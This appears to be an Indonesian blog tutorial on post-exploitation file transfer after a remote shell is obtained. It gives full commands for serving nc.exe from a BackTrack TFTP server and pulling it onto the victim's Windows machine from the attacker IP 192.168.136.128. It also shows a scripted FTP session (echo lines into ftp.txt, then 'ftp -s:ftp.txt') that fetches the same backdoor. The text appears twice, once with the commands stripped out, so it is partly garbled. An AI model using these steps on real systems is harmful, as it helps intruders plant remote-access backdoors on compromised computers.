Setelah kita mendapatkan sebuah Shell, lalu apa yang dapat kita lakukan? Satu pertanyaan dengan seribu jawaban (lebayyyy... :p ). Hahaha... ya iyalah... dengan remote shell, kita hampir dapat mengeksekusi seluruh administrative command, seperti menambah user, mengganti password, instal aplikasi, mengubah konfigurasi, dan lain-lain.
Sebelum malangkah ke topik pembahasan, ada baiknya kita sama-sama mengerti akan pengertian dari interactive dan non interactive shell, dengan memperhatikan contoh berikut:
Salah satunya adalah dengan melakukan transferring files untuk memasang backdoor pada komputer korban. Ada dua metode yang dapat kita lakukan untuk melakukan transferring file, yaitu:
1. Menggunakan TFTPD
Pada metode ini, kita memanfaatkan Backtrack sebagai server TFTPD. Untuk mengaktifkan services TFTPD pada backtrack kita adalah sebagai berikut:
Kemudian untuk memastikan bahwa service telah berjalan, ketikkan perintah berikut:
Selanjutnya, lakukan copy file yang akan ditransferke komputer korban ke direktori /tmp pada komputer attacker.
lalu lakukan transfer file pada komputer korban melalui remote shell yang telah kita peroleh sebelumnya. Sebagai catatan, IP 192.168.136.128 adalah IP dari komputer attacker yang berperan sebagai TFTP Server.
Metode TFTP memiliki beberapa keuntungan dan kendala, yaitu:
2. Menggunakan FTP
Bagaiman caranya agar kita dapat melakukan transfer file dengan FTP melalui remote shell, sedangkan sama-sama kita pahami kita tidak bisa melakukan interactive command dengan menggunakan remote shell?
Ternyata, salah satu fitur dari perintah FTP adalah dapat menjalankan perintah FTP dari sebuah file txt. Oke langsung saja... Gunakan kembali remote shell yang telah diperoleh sebelumnya, ketikkan perintah berikut:
Untuk username dan password diisi dengan username dan password untuk login ke FTP Server. Sekedar catatan, pada aplikasi backtrack saya menggunakan FTP Server Vsftpd.
Tadaaaa.... silahkan cek sendiri apakah di folder komputer korban sudah ada file nc.exe :D
Sebelum malangkah ke topik pembahasan, ada baiknya kita sama-sama mengerti akan pengertian dari interactive dan non interactive shell, dengan memperhatikan contoh berikut:
- Buka command prompt pada windows, lalu ketikkan perintah "dir". Perintah tersebut dapat dikatakan sebagai non-interactive shell dikarenakan saat perintah tersebut pertama kali di eksekusi, tidak membutuhkan input perintah lain dari user untuk menyelesaikan perintah tersebut.
- Salah satu bentuk interactive shell adalah saat akan melakukan proses transfer file dengan menggunakan FTP. Dimana kita harus mengetikkan username, password dan perinh upload atau download file.
Salah satu peraturan dasar dalam remote shell, yaitu:
"Jangan menjalankan interaktive programs menggunakan remote shell"
Silahkan dicoba sendiri, pasti Anda tidak akan berhasil dan mendapat respon time out dari server.
Salah satunya adalah dengan melakukan transferring files untuk memasang backdoor pada komputer korban. Ada dua metode yang dapat kita lakukan untuk melakukan transferring file, yaitu:
1. Menggunakan TFTPD
Pada metode ini, kita memanfaatkan Backtrack sebagai server TFTPD. Untuk mengaktifkan services TFTPD pada backtrack kita adalah sebagai berikut:
root@BT:~# atftpd --daemon --port 69 /tmp
Kemudian untuk memastikan bahwa service telah berjalan, ketikkan perintah berikut:
root@bt:~# netstat -anu |grep 69 udp 0 0 0.0.0.0:69 0.0.0.0:*
Selanjutnya, lakukan copy file yang akan ditransferke komputer korban ke direktori /tmp pada komputer attacker.
root@bt:~# cp /pentest/windows-binaries/tools/nc.exe /tmp/
lalu lakukan transfer file pada komputer korban melalui remote shell yang telah kita peroleh sebelumnya. Sebagai catatan, IP 192.168.136.128 adalah IP dari komputer attacker yang berperan sebagai TFTP Server.
C:\>tftp -i 192.168.136.128 GET nc.exe tftp -i 192.168.136.128 GET nc.exe Transfer successful: 59392 bytes in 1 second, 59392 bytes/s C:\>dir nc.exe dir nc.exe Volume in drive C has no label. Volume Serial Number is 9498-679D Directory of C:\ 12/27/2011 02:02 PM 87,040 nc.exe 1 File(s) 87,040 bytes 0 Dir(s) 6,297,440,256 bytes free C:\>
Metode TFTP memiliki beberapa keuntungan dan kendala, yaitu:
- Dikarenakan proses TFTP berbasiskan koneksi UDP dan lebih cepat dalam proses transfer data, maka sangat disarankan menggunakan metode TFTP untuk transfer file dengan ukuran yang kecil
- Kelemahannya adalah karena berbasiskan UDP, maka ada kemungkinan proses transfer file menjadi tidak sempurna
- Selain itu banyak perusahaan/organisasi yang tidak mengijinkan perpindahan data dengan koneksi UDP yang telah di blok oleh firewall masing-masing user
2. Menggunakan FTP
Bagaiman caranya agar kita dapat melakukan transfer file dengan FTP melalui remote shell, sedangkan sama-sama kita pahami kita tidak bisa melakukan interactive command dengan menggunakan remote shell?
Ternyata, salah satu fitur dari perintah FTP adalah dapat menjalankan perintah FTP dari sebuah file txt. Oke langsung saja... Gunakan kembali remote shell yang telah diperoleh sebelumnya, ketikkan perintah berikut:
C:\>echo open 192.168.136.128 21> ftp.txt C:\>echo username >>ftp.txt C:\>echo password >>ftp.txt C:\>echo bin>> ftp.txt C:\>echo get nc.exe >> ftp.txt C:\>echo bye >> ftp.txt C:\>ftp -s:ftp.txt
Untuk username dan password diisi dengan username dan password untuk login ke FTP Server. Sekedar catatan, pada aplikasi backtrack saya menggunakan FTP Server Vsftpd.
Tadaaaa.... silahkan cek sendiri apakah di folder komputer korban sudah ada file nc.exe :D
Komentar